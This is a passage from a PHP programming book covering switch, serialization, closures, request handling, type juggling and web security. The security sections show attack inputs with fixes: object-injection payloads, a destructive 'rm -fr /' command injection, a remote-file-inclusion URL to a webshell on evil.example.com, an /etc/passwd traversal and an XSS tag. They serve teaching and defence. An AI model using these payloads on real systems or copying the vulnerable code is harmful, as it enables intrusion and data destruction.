the next case statement's code is executed, even if there is no match. This can cause unexpected code execution if
the break statement is forgotten, but can also be useful where multiple case statements need to share the same
code.

switch ($colour) {
case "red":
echo "the colour is red";
break;
case "green":
case "blue":
echo "the colour is green or blue";
break;
case "yellow":
echo "the colour is yellow";
// note missing break, the next block will also be executed
case "black":
echo "the colour is black";
break;
default:
echo "the colour is something else";
break;
}

In addition to testing fixed values, the construct can also be coerced to test dynamic statements by providing a
boolean value to the switch statement and any expression to the case statement. Keep in mind the first matching
value is used, so the following code will output "more than 100":

$i = 1048;
switch (true) {
case ($i > 0):
echo "more than 0";
break;
case ($i > 100):
echo "more than 100";
break;
case ($i > 1000):
echo "more than 1000";
break;
}

For possible issues with loose typing while using the switch construct, see Switch Surprises

Complete PHP Tips & Secrets for Professionals 204

Chapter 44: Serialization
string serialize ( mixed $value )

Parameter Details
The value to be serialized. serialize() handles all types, except the resource-type. You can even
serialize() arrays that contain references to itself. Circular references inside the array/object you are
serializing will also be stored. Any other reference will be lost. When serializing objects, PHP will
attempt to call the member function __sleep() prior to serialization. This is to allow the object to do any
value
last minute clean-up, etc. prior to being serialized. Likewise, when the object is restored using
unserialize() the __wakeup() member function is called. Object's private members have the class name
prepended to the member name; protected members have a '*' prepended to the member name.
These prepended values have null bytes on either side.

Section 44.1: Serialization of dierent types

Generates a storable representation of a value.

This is useful for storing or passing PHP values around without losing their type and structure.

To make the serialized string into a PHP value again, use unserialize().

Serializing a string
$string = "Hello world";
echo serialize($string);

// Output:
// s:11:"Hello world";
Serializing a double
$double = 1.5;
echo serialize($double);

// Output:
// d:1.5;
Serializing a float

Float get serialized as doubles.

Serializing an integer
$integer = 65;
echo serialize($integer);

// Output:
// i:65;
Serializing a boolean
$boolean = true;
echo serialize($boolean);

// Output:
// b:1;

$boolean = false;
echo serialize($boolean);

// Output:
// b:0;
Serializing null
$null = null;
echo serialize($null);

Complete PHP Tips & Secrets for Professionals 205

// Output:
// N;
Serializing an array
$array = array(
25,
'String',
'Array'=> ['Multi Dimension','Array'],
'boolean'=> true,
'Object'=>$obj, // $obj from above Example
null,
3.445
);

// This will throw Fatal Error

// $array['function'] = function() { return "function"; };

echo serialize($array);

// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi
Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.44
49999999999998;}
Serializing an object

You can also serialize Objects.

When serializing objects, PHP will attempt to call the member function __sleep() prior to serialization. This is to
allow the object to do any last minute clean-up, etc. prior to being serialized. Likewise, when the object is restored
using unserialize() the __wakeup() member function is called.

class abc {
var $i = 1;
function foo() {
return 'hello world';
}
}

$object = new abc();

echo serialize($object);

// Output:
// O:3:"abc":1:{s:1:"i";i:1;}
Note that Closures cannot be serialized:
$function = function () { echo 'Hello World!'; };
$function(); // prints "hello!"

$serializedResult = serialize($function); // Fatal error: Uncaught exception 'Exception' with

message 'Serialization of 'Closure' is not allowed'

Section 44.2: Security Issues with unserialize

Using unserialize function to unserialize data from user input can be dangerous.

A Warning from php.net

Warning Do not pass untrusted user input to unserialize(). Unserialization can result in code being loaded and
executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. Use a safe,
standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized
data to the user.

Complete PHP Tips & Secrets for Professionals 206

Possible Attacks

PHP Object Injection

PHP Object Injection

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of
malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending
on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to
the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to
a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

In order to successfully exploit a PHP Object Injection vulnerability two conditions must be met:

The application must have a class which implements a PHP magic method (such as __wakeup or __destruct)
that can be used to carry out malicious attacks, or to start a "POP chain".
All of the classes used during the attack must be declared when the vulnerable unserialize() is being
called, otherwise object autoloading must be supported for such classes.

Example 1 - Path Traversal Attack

The example below shows a PHP class with an exploitable __destruct method:

class Example1
{
public $cache_file;

function __construct()
{
// some PHP code...
}

function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

In this example an attacker might be able to delete an arbitrary file via a Path Traversal attack, for e.g. requesting
the following URL:

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

Example 2 - Code Injection attack

The example below shows a PHP class with an exploitable __wakeup method:

class Example2
{
private $hook;

function __construct()

Complete PHP Tips & Secrets for Professionals 207

 {
// some PHP code...
}

function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);

// some PHP code...

In this example an attacker might be able to perform a Code Injection attack by sending an HTTP request like this:

GET /vuln.php HTTP/1.0

Host: testsite.com
Cookie:
data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%
3B%22%3B%7D
Connection: close

Where the cookie parameter "data" has been generated by the following script:

class Example2
{
private $hook = "phpinfo();";
}

print urlencode(serialize(new Example2));

Chapter 45: Closure

Section 45.1: Basic usage of a closure
A closure is the PHP equivalent of an anonymous function, eg. a function that does not have a name. Even if that is
technically not correct, the behavior of a closure remains the same as a function's, with a few extra features.

A closure is nothing but an object of the Closure class which is created by declaring a function without a name. For
example:

<?php

$myClosure = function() {
echo 'Hello world!';
};

$myClosure(); // Shows "Hello world!"

Keep in mind that $myClosure is an instance of Closure so that you are aware of what you can truly do with it (cf.
http://fr2.php.net/manual/en/class.closure.php )

The classic case you would need a Closure is when you have to give a callable to a function, for instance usort.

Here is an example where an array is sorted by the number of siblings of each person:

<?php

Complete PHP Tips & Secrets for Professionals 208

$data = [
[
'name' => 'John',
'nbrOfSiblings' => 2,
],
[
'name' => 'Stan',
'nbrOfSiblings' => 1,
],
[
'name' => 'Tom',
'nbrOfSiblings' => 3,
]
];

usort($data, function($e1, $e2) {

if ($e1['nbrOfSiblings'] == $e2['nbrOfSiblings']) {
return 0;
}

return $e1['nbrOfSiblings'] < $e2['nbrOfSiblings'] ? -1 : 1;

});

var_dump($data); // Will show Stan first, then John and finally Tom

Section 45.2: Using external variables

It is possible, inside a closure, to use an external variable with the special keyword use. For instance:

<?php

$quantity = 1;

$calculator = function($number) use($quantity) {

return $number + $quantity;
};

var_dump($calculator(2)); // Shows "3"

You can go further by creating "dynamic" closures. It is possible to create a function that returns a specific
calculator, depending on the quantity you want to add. For example:

<?php

function createCalculator($quantity) {
return function($number) use($quantity) {
return $number + $quantity;
};
}

$calculator1 = createCalculator(1);
$calculator2 = createCalculator(2);

var_dump($calculator1(2)); // Shows "3"

var_dump($calculator2(2)); // Shows "4"

Section 45.3: Basic closure binding

As seen previously, a closure is nothing but an instance of the Closure class, and different methods can be invoked
on them. One of them is bindTo, which, given a closure, will return a new one that is bound to a given object. For
example:

Complete PHP Tips & Secrets for Professionals 209

<?php

$myClosure = function() {
echo $this->property;
};

class MyClass
{
public $property;

public function __construct($propertyValue)

{
$this->property = $propertyValue;
}
}

$myInstance = new MyClass('Hello world!');

$myBoundClosure = $myClosure->bindTo($myInstance);

$myBoundClosure(); // Shows "Hello world!"

Section 45.4: Closure binding and scope

Let's consider this example:

<?php

$myClosure = function() {
echo $this->property;
};

class MyClass
{
public $property;

public function __construct($propertyValue)

{
$this->property = $propertyValue;
}
}

$myInstance = new MyClass('Hello world!');

$myBoundClosure = $myClosure->bindTo($myInstance);

$myBoundClosure(); // Shows "Hello world!"

Try to change the property visibility to either protected or private. You get a fatal error indicating that you do not
have access to this property. Indeed, even if the closure has been bound to the object, the scope in which the
closure is invoked is not the one needed to have that access. That is what the second argument of bindTo is for.

The only way for a property to be accessed if it's private is that it is accessed from a scope that allows it, ie. the
class's scope. In the just previous code example, the scope has not been specified, which means that the closure
has been invoked in the same scope as the one used where the closure has been created. Let's change that:

<?php

$myClosure = function() {
echo $this->property;
};

class MyClass

Complete PHP Tips & Secrets for Professionals 210

{
private $property; // $property is now private

public function __construct($propertyValue)

{
$this->property = $propertyValue;
}
}

$myInstance = new MyClass('Hello world!');

$myBoundClosure = $myClosure->bindTo($myInstance, MyClass::class);

$myBoundClosure(); // Shows "Hello world!"

As just said, if this second parameter is not used, the closure is invoked in the same context as the one used where
the closure has been created. For example, a closure created inside a method's class which is invoked in an object
context will have the same scope as the method's:

<?php

class MyClass
{
private $property;

public function __construct($propertyValue)

{
$this->property = $propertyValue;
}

public function getDisplayer()

{
return function() {
echo $this->property;
};
}
}

$myInstance = new MyClass('Hello world!');

$displayer = $myInstance->getDisplayer();
$displayer(); // Shows "Hello world!"

Section 45.5: Binding a closure for one call

Since PHP7, it is possible to bind a closure just for one call, thanks to the call method. For instance:

<?php

class MyClass
{
private $property;

public function __construct($propertyValue)

{
$this->property = $propertyValue;
}
}

$myClosure = function() {
echo $this->property;
};

Complete PHP Tips & Secrets for Professionals 211

$myInstance = new MyClass('Hello world!');

$myClosure->call($myInstance); // Shows "Hello world!"

As opposed to the bindTo method, there is no scope to worry about. The scope used for this call is the same as the
one used when accessing or invoking a property of $myInstance.

Section 45.6: Use closures to implement observer pattern

In general, an observer is a class with a specific method being called when an action on the observed object occurs.
In certain situations, closures can be enough to implement the observer design pattern.

Here is a detailed example of such an implementation. Let's first declare a class whose purpose is to notify
observers when its property is changed.

<?php

class ObservedStuff implements SplSubject

{
protected $property;
protected $observers = [];

public function attach(SplObserver $observer)

{
$this->observers[] = $observer;
return $this;
}

public function detach(SplObserver $observer)

{
if (false !== $key = array_search($observer, $this->observers, true)) {
unset($this->observers[$key]);
}
}

public function notify()

{
foreach ($this->observers as $observer) {
$observer->update($this);
}
}

public function getProperty()

{
return $this->property;
}

public function setProperty($property)

{
$this->property = $property;
$this->notify();
}
}

Then, let's declare the class that will represent the different observers.

<?php

class NamedObserver implements SplObserver

{
protected $name;

Complete PHP Tips & Secrets for Professionals 212

 protected $closure;

public function __construct(Closure $closure, $name)

{
$this->closure = $closure->bindTo($this, $this);
$this->name = $name;
}

public function update(SplSubject $subject)

{
$closure = $this->closure;
$closure($subject);
}
}

Let's finally test this:

<?php

$o = new ObservedStuff;

$observer1 = function(SplSubject $subject) {

echo $this->name, ' has been notified! New property value: ', $subject->getProperty(), "\n";
};

$observer2 = function(SplSubject $subject) {

echo $this->name, ' has been notified! New property value: ', $subject->getProperty(), "\n";
};

$o->attach(new NamedObserver($observer1, 'Observer1'))

->attach(new NamedObserver($observer2, 'Observer2'));

$o->setProperty('Hello world!');
// Shows:
// Observer1 has been notified! New property value: Hello world!
// Observer2 has been notified! New property value: Hello world!

Note that this example works because the observers share the same nature (they are both "named observers.")

Chapter 46: Reading Request Data

Section 46.1: Reading raw POST data
Usually data sent in a POST request is structured key/value pairs with a MIME type of application/x-www-form-
urlencoded. However many applications such as web services require raw data, often in XML or JSON format, to be
sent instead. This data can be read using one of two methods.

php://input is a stream that provides access to the raw request body.

$rawdata = file_get_contents("php://input");
// Let's say we got JSON
$decoded = json_decode($rawdata);
Version<5.6

$HTTP_RAW_POST_DATA is a global variable that contains the raw POST data. It is only available if the
always_populate_raw_post_data directive in php.ini is enabled.

$rawdata = $HTTP_RAW_POST_DATA;
// Or maybe we get XML
$decoded = simplexml_load_string($rawdata);

Complete PHP Tips & Secrets for Professionals 213

This variable has been deprecated since PHP version 5.6, and was removed in PHP 7.0.

Note that neither of these methods are available when the content type is set to multipart/form-data, which is
used for file uploads.

Section 46.2: Reading POST data

Data from a POST request is stored in the superglobal $_POST in the form of an associative array.

Note that accessing a non-existent array item generates a notice, so existence should always be checked with the
isset() or empty() functions, or the null coalesce operator.

Example:

$from = isset($_POST["name"]) ? $_POST["name"] : "NO NAME";

$message = isset($_POST["message"]) ? $_POST["message"] : "NO MESSAGE";

echo "Message from $from: $message";

Version≥7.0
$from = $_POST["name"] ?? "NO NAME";
$message = $_POST["message"] ?? "NO MESSAGE";

echo "Message from $from: $message";

Section 46.3: Reading GET data

Data from a GET request is stored in the superglobal $_GET in the form of an associative array.

Note that accessing a non-existent array item generates a notice, so existence should always be checked with the
isset() or empty() functions, or the null coalesce operator.

Example: (for URL /topics.php?author=alice&topic=php)

$author = isset($_GET["author"]) ? $_GET["author"] : "NO AUTHOR";

$topic = isset($_GET["topic"]) ? $_GET["topic"] : "NO TOPIC";

echo "Showing posts from $author about $topic";

Version≥7.0
$author = $_GET["author"] ?? "NO AUTHOR";
$topic = $_GET["topic"] ?? "NO TOPIC";

echo "Showing posts from $author about $topic";

Section 46.4: Handling file upload errors

The $_FILES["FILE_NAME"]['error'] (where "FILE_NAME" is the value of the name attribute of the file input,
present in your form) might contain one of the following values:

1. UPLOAD_ERR_OK - There is no error, the file uploaded with success.

2. UPLOAD_ERR_INI_SIZE - The uploaded file exceeds the upload_max_filesize directive in php.ini.
3. UPLOAD_ERR_PARTIAL - The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML
form.
4. UPLOAD_ERR_NO_FILE - No file was uploaded.
5. UPLOAD_ERR_NO_TMP_DIR - Missing a temporary folder. (From PHP 5.0.3).
6. UPLOAD_ERR_CANT_WRITE - Failed to write file to disk. (From PHP 5.1.0).
7. UPLOAD_ERR_EXTENSION - A PHP extension stopped the file upload. (From PHP 5.2.0).

An basic way to check for the errors, is as follows:

Complete PHP Tips & Secrets for Professionals 214

<?php
$fileError = $_FILES["FILE_NAME"]["error"]; // where FILE_NAME is the name attribute of the file
input in your form
switch($fileError) {
case UPLOAD_ERR_INI_SIZE:
// Exceeds max size in php.ini
break;
case UPLOAD_ERR_PARTIAL:
// Exceeds max size in html form
break;
case UPLOAD_ERR_NO_FILE:
// No file was uploaded
break;
case UPLOAD_ERR_NO_TMP_DIR:
// No /tmp dir to write to
break;
case UPLOAD_ERR_CANT_WRITE:
// Error writing to disk
break;
default:
// No error was faced! Phew!
break;
}

Section 46.5: Passing arrays by POST

Usually, an HTML form element submitted to PHP results in a single value. For example:

<pre>
<?php print_r($_POST);?>
</pre>
<form method="post">
<input type="hidden" name="foo" value="bar"/>
<button type="submit">Submit</button>
</form>

This results in the following output:

Array
(
[foo] => bar
)

However, there may be cases where you want to pass an array of values. This can be done by adding a PHP-like
suffix to the name of the HTML elements:

<pre>
<?php print_r($_POST);?>
</pre>
<form method="post">
<input type="hidden" name="foo[]" value="bar"/>
<input type="hidden" name="foo[]" value="baz"/>
<button type="submit">Submit</button>
</form>

This results in the following output:

Array
(
[foo] => Array
(
[0] => bar

Complete PHP Tips & Secrets for Professionals 215

 [1] => baz
)

You can also specify the array indices, as either numbers or strings:

<pre>
<?php print_r($_POST);?>
</pre>
<form method="post">
<input type="hidden" name="foo[42]" value="bar"/>
<input type="hidden" name="foo[foo]" value="baz"/>
<button type="submit">Submit</button>
</form>

Which returns this output:

Array
(
[foo] => Array
(
[42] => bar
[foo] => baz
)

This technique can be used to avoid post-processing loops over the $_POST array, making your code leaner and
more concise.

Section 46.6: Uploading files with HTTP PUT

PHP provides support for the HTTP PUT method used by some clients to store files on a server. PUT requests are
much simpler than a file upload using POST requests and they look something like this:

PUT /path/filename.html HTTP/1.1

Into your PHP code you would then do something like this:

<?php
/* PUT data comes in on the stdin stream */
$putdata = fopen("php://input", "r");

/* Open a file for writing */

$fp = fopen("putfile.ext", "w");

/* Read the data 1 KB at a time

and write to the file */
while ($data = fread($putdata, 1024))
fwrite($fp, $data);

/* Close the streams */

fclose($fp);
fclose($putdata);
?>

Also here you can read interesting SO question/answers about receiving file via HTTP PUT.

Complete PHP Tips & Secrets for Professionals 216

Chapter 47: Type juggling and Non-Strict Comparison
Issues
Section 47.1: What is Type Juggling?
PHP is a loosely typed language. This means that, by default, it doesn't require operands in an expression to be of
the same (or compatible) types. For example, you can append a number to a string and expect it to work.

var_dump ("This is example number " . 1);

The output will be:

string(24) "This is example number 1"

PHP accomplishes this by automatically casting incompatible variable types into types that allow the requested
operation to take place. In the case above, it will cast the integer literal 1 into a string, meaning that it can be
concatenated onto the preceding string literal. This is referred to as type juggling. This is a very powerful feature of
PHP, but it is also a feature that can lead you to a lot of hair-pulling if you are not aware of it, and can even lead to
security problems.

Consider the following:

if (1 == $variable) {
// do something
}

The intent appears to be that the programmer is checking that a variable has a value of 1. But what happens if
$variable has a value of "1 and a half" instead? The answer might surprise you.

$variable = "1 and a half";

var_dump (1 == $variable);

The result is:

bool(true)

Why has this happened? It's because PHP realised that the string "1 and a half" isn't an integer, but it needs to be in
order to compare it to integer 1. Instead of failing, PHP initiates type juggling and, attempts to convert the variable
into an integer. It does this by taking all the characters at the start of the string that can be cast to integer and
casting them. It stops as soon as it encounters a character that can't be treated as a number. Therefore "1 and a
half" gets cast to integer 1.

Granted, this is a very contrived example, but it serves to demonstrate the issue. The next few examples will cover
some cases where I've run into errors caused by type juggling that happened in real software.

Section 47.2: Reading from a file

When reading from a file, we want to be able to know when we've reached the end of that file. Knowing that
fgets() returns false at the end of the file, we might use this as the condition for a loop. However, if the data
returned from the last read happens to be something that evaluates as boolean false, it can cause our file read
loop to terminate prematurely.

$handle = fopen ("/path/to/my/file", "r");

if ($handle === false) {

throw new Exception ("Failed to open file for reading");
}

Complete PHP Tips & Secrets for Professionals 217

while ($data = fgets($handle)) {
echo ("Current file line is $data\n");
}

fclose ($handle);

If the file being read contains a blank line, the while loop will be terminated at that point, because the empty string
evaluates as boolean false.

Instead, we can check for the boolean false value explicitly, using strict equality operators:

while (($data = fgets($handle)) !== false) {

echo ("Current file line is $data\n");
}

Note this is a contrived example; in real life we would use the following loop:

while (!feof($handle)) {
$data = fgets($handle);
echo ("Current file line is $data\n");
}

Or replace the whole thing with:

$filedata = file("/path/to/my/file");
foreach ($filedata as $data) {
echo ("Current file line is $data\n");
}

Section 47.3: Switch surprises

Switch statements use non-strict comparison to determine matches. This can lead to some nasty surprises. For
example, consider the following statement:

switch ($name) {
case 'input 1':
$mode = 'output_1';
break;
case 'input 2':
$mode = 'output_2';
break;
default:
$mode = 'unknown';
break;
}

This is a very simple statement, and works as expected when $name is a string, but can cause problems otherwise.
For example, if $name is integer 0, then type-juggling will happen during the comparison. However, it's the literal
value in the case statement that gets juggled, not the condition in the switch statement. The string "input 1" is
converted to integer 0 which matches the input value of integer 0. The upshot of this is if you provide a value of
integer 0, the first case always executes.

There are a few solutions to this problem:

Explicit casting

The value can be typecast to a string before comparison:

switch ((string)$name) {
...

Complete PHP Tips & Secrets for Professionals 218

}

Or a function known to return a string can also be used:

switch (strval($name)) {
...
}

Both of these methods ensure the value is of the same type as the value in the case statements.

Avoid switch

Using an if statement will provide us with control over how the comparison is done, allowing us to use strict
comparison operators:

if ($name === "input 1") {

$mode = "output_1";
} elseif ($name === "input 2") {
$mode = "output_2";
} else {
$mode = "unknown";
}

Section 47.4: Strict typing

Since PHP 7.0, some of the harmful effects of type juggling can be mitigated with strict typing. By including this
declare statement as the first line of the file, PHP will enforce parameter type declarations and return type
declarations by throwing a TypeError exception.

declare(strict_types=1);

For example, this code, using parameter type definitions, will throw a catchable exception of type TypeError when
run:

<?php
declare(strict_types=1);

function sum(int $a, int $b) {

return $a + $b;
}

echo sum("1", 2);

Likewise, this code uses a return type declaration; it will also throw an exception if it tries to return anything other
than an integer:

<?php
declare(strict_types=1);

function returner($a): int {

return $a;
}

returner("this is a string");

Chapter 48: Security

As the majority of websites run off PHP, application security is an important topic for PHP developers to protect
their website, data, and clients. This topic covers best security practices in PHP as well as common vulnerabilities

Complete PHP Tips & Secrets for Professionals 219

and weaknesses with example fixes in PHP.

Section 48.1: PHP Version Leakage

By default, PHP will tell the world what version of PHP you are using, e.g.

X-Powered-By: PHP/5.3.8

To fix this you can either change php.ini:

expose_php = off

Or change the header:

header("X-Powered-By: Magic");

Or if you'd prefer a htaccess method:

Header unset X-Powered-By

If either of the above methods do not work, there is also the header_remove() function that provides you the ability
to remove the header:

header_remove('X-Powered-By');

If attackers know that you are using PHP and the version of PHP that you are using, it's easier for them to exploit
your server.

Section 48.2: Cross-Site Scripting (XSS)

Problem

Cross-site scripting is the unintended execution of remote code by a web client. Any web application might expose
itself to XSS if it takes input from a user and outputs it directly on a web page. If input includes HTML or JavaScript,
remote code can be executed when this content is rendered by the web client.

For example, if a 3rd party side contains a JavaScript file:

// http://example.com/runme.js
document.write("I'm running");

And a PHP application directly outputs a string passed into it:

<?php
echo '<div>' . $_GET['input'] . '</div>';

If an unchecked GET parameter contains <script src="http://example.com/runme.js"></script> then the

output of the PHP script will be:

<div><script src="http://example.com/runme.js"></script></div>

The 3rd party JavaScript will run and the user will see "I'm running" on the web page.

Solution

As a general rule, never trust input coming from a client. Every GET, POST, and cookie value could be anything at all,
and should therefore be validated. When outputting any of these values, escape them so they will not be evaluated
in an unexpected way.

Complete PHP Tips & Secrets for Professionals 220

Keep in mind that even in the simplest applications data can be moved around and it will be hard to keep track of
all sources. Therefore it is a best practice to always escape output.

PHP provides a few ways to escape output depending on the context.

Filter Functions

PHPs Filter Functions allow the input data to the php script to be sanitized or validated in many ways. They are
useful when saving or outputting client input.

HTML Encoding

htmlspecialchars will convert any "HTML special characters" into their HTML encodings, meaning they will then not
be processed as standard HTML. To fix our previous example using this method:

<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';

Would output:

<div>&lt;script src=&quot;http://example.com/runme.js&quot;&gt;&lt;/script&gt;</div>

Everything inside the <div> tag will not be interpreted as a JavaScript tag by the browser, but instead as a simple
text node. The user will safely see:

<script src="http://example.com/runme.js"></script>
URL Encoding

When outputting a dynamically generated URL, PHP provides the urlencode function to safely output valid URLs.
So, for example, if a user is able to input data that becomes part of another GET parameter:

<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';

Any malicious input will be converted to an encoded URL parameter.

Using specialised external libraries or OWASP AntiSamy lists

Sometimes you will want to send HTML or other kind of code inputs. You will need to maintain a list of authorised
words (white list) and un-authorized (blacklist).

You can download standard lists available at the OWASP AntiSamy website. Each list is fit for a specific kind of
interaction (ebay api, tinyMCE, etc...). And it is open source.

There are libraries existing to filter HTML and prevent XSS attacks for the general case and performing at least as
well as AntiSamy lists with very easy use. For example you have HTML Purifier

Section 48.3: Cross-Site Request Forgery

Problem

Cross-Site Request Forgery or CSRF can force an end user to unknowingly generate malicious requests to a web
server. This attack vector can be exploited in both POST and GET requests. Let's say for example the url endpoint

Complete PHP Tips & Secrets for Professionals 221

/delete.php?accnt=12 deletes account as passed from accnt parameter of a GET request. Now if an authenticated
user will encounter the following script in any other application

<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">

the account would be deleted.

Solution

A common solution to this problem is the use of CSRF tokens. CSRF tokens are embedded into requests so that a
web application can trust that a request came from an expected source as part of the application's normal
workflow. First the user performs some action, such as viewing a form, that triggers the creation of a unique token.
A sample form implementing this might look like

<form method="get" action="/delete.php">

<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<randomToken>" />
<input type="submit" />
</form>

The token can then be validated by the server against the user session after form submission to eliminate malicious
requests.

Sample code

Here is sample code for a basic implementation:

/* Code to generate a CSRF token and store the same */

...
<?php
session_start();
function generate_token() {
// Check if a token is present for the current session
if(!isset($_SESSION["csrf_token"])) {
// No token present, generate a new one
$token = random_bytes(64);
$_SESSION["csrf_token"] = $token;
} else {
// Reuse the token
$token = $_SESSION["csrf_token"];
}
return $token;
}
?>
<body>
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
<input type="submit" />
</form>
</body>
...

/* Code to validate token and drop malicious requests */

...
<?php
session_start();
if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
// Reset token

Complete PHP Tips & Secrets for Professionals 222

 unset($_SESSION["csrf_token"]);
die("CSRF token validation failed");
}
?>
...

There are many libraries and frameworks already available which have their own implementation of CSRF
validation. Though this is the simple implementation of CSRF, You need to write some code to regenerate your
CSRF token dynamically to prevent from CSRF token stealing and fixation.

Section 48.4: Command Line Injection

Problem

In a similar way that SQL injection allows an attacker to execute arbitrary queries on a database, command-line
injection allows someone to run untrusted system commands on a web server. With an improperly secured server
this would give an attacker complete control over a system.

Let's say, for example, a script allows a user to list directory contents on a web server.

<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>

(In a real-world application one would use PHP's built-in functions or objects to get path contents. This example is for a
simple security demonstration.)

One would hope to get a path parameter similar to /tmp. But as any input is allowed, path could be ; rm -fr /.
The web server would then execute the command

ls; rm -fr /

and attempt to delete all files from the root of the server.

Solution

All command arguments must be escaped using escapeshellarg() or escapeshellcmd(). This makes the
arguments non-executable. For each parameter, the input value should also be validated.

In the simplest case, we can secure our example with

<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>

Following the previous example with the attempt to remove files, the executed command becomes

ls '; rm -fr /'

And the string is simply passed as a parameter to ls, rather than terminating the ls command and running rm.

It should be noted that the example above is now secure from command injection, but not from directory traversal.
To fix this, it should be checked that the normalized path starts with the desired sub-directory.

PHP offers a variety of functions to execute system commands, including exec, passthru, proc_open, shell_exec,
and system. All must have their inputs carefully validated and escaped.

Complete PHP Tips & Secrets for Professionals 223

Section 48.5: Stripping Tags
strip_tags is a very powerful function if you know how to use it. As a method to prevent cross-site scripting attacks
there are better methods, such as character encoding, but stripping tags is useful in some cases.

Basic Example
$string = '<b>Hello,<> please remove the <> tags.</b>';

echo strip_tags($string);

Raw Output

Hello, please remove the tags.

Allowing Tags

Say you wanted to allow a certain tag but no other tags, then you'd specify that in the second parameter of the
function. This parameter is optional. In my case I only want the <b> tag to be passed through.

$string = '<b>Hello,<> please remove the <br> tags.</b>';

echo strip_tags($string, '<b>');

Raw Output

<b>Hello, please remove the tags.</b>

Notice(s)

HTML comments and PHP tags are also stripped. This is hardcoded and can not be changed with allowable_tags.

In PHP 5.3.4 and later, self-closing XHTML tags are ignored and only non-self-closing tags should be used in
allowable_tags. For example, to allow both <br> and <br/>, you should use:

<?php
strip_tags($input, '<br>');
?>

Section 48.6: File Inclusion

Remote File Inclusion

Remote File Inclusion (also known as RFI) is a type of vulnerability that allows an attacker to include a remote file.

This example injects a remotely hosted file containing a malicious code:

<?php
include $_GET['page'];

/vulnerable.php?page=http://evil.example.com/webshell.txt?

Local File Inclusion

Local File Inclusion (also known as LFI) is the process of including files on a server through the web browser.

<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';

Complete PHP Tips & Secrets for Professionals 224

}

/vulnerable.php?page=../../../../etc/passwd

Solution to RFI & LFI:

It is recommended to only allow including files you approved, and limit to those only.

<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}

Section 48.7: Error Reporting

By default PHP will output errors, warnings and notice messages directly on the page if something unexpected in a
script occurs. This is useful for resolving specific issues with a script but at the same time it outputs information you
don't want your users to know.

Therefore it's good practice to avoid displaying those messages which will reveal information about your server, like
your directory tree for example, in production environments. In a development or testing environment these
messages may still be useful to display for debugging purposes.

A quick solution

You can turn them off so the messages don't show at all, however this makes debugging your script harder.

<?php
ini_set("display_errors", "0");
?>

Or change them directly in the php.ini.

display_errors = 0
Handling errors

A better option would be to store those error messages to a place they are more useful, like a database:

set_error_handler(function($errno , $errstr, $errfile, $errline){

try{
$pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);

if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){

if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
throw new Exception('Unable to execute query');
}
} else {
throw new Exception('Unable to prepare query');
}
} catch (Exception $e){
error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
}
});

Complete PHP Tips & Secrets for Professionals 225

This method will log the messages to the database and if that fails to a file instead of echoing it directly into the
page. This way you can track what users are experiencing on your website and notify you immediately if something
go's wrong.

Section 48.8: Uploading files

If you want users to upload files to your server you need to do a couple of security checks before you actually move
the uploaded file to your web directory.

The uploaded data:

This array contains user submitted data and is not information about the file itself. While usually this data is
generated by the browser one can easily make a post request to the same form using software.

$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];

name - Verify every aspect of it.

type - Never use this data. It can be fetched by using PHP functions instead.
size - Safe to use.
tmp_name - Safe to use.

Exploiting the file name

Normally the operating system does not allow specific characters in a file name, but by spoofing the request you
can add them allowing for unexpected things to happen. For example, lets name the file:

../script.php%00.png

Take good look at that filename and you should notice a couple of things.

1. The first to notice is the ../, fully illegal in a file name and at the same time perfectly fine if you are moving a
file from 1 directory to another, which we're gonna do right?
2. Now you might think you were verifying the file extensions properly in your script but this exploit relies on
the url decoding, translating %00 to a null character, basically saying to the operating system, this string ends
here, stripping off .png off the filename.

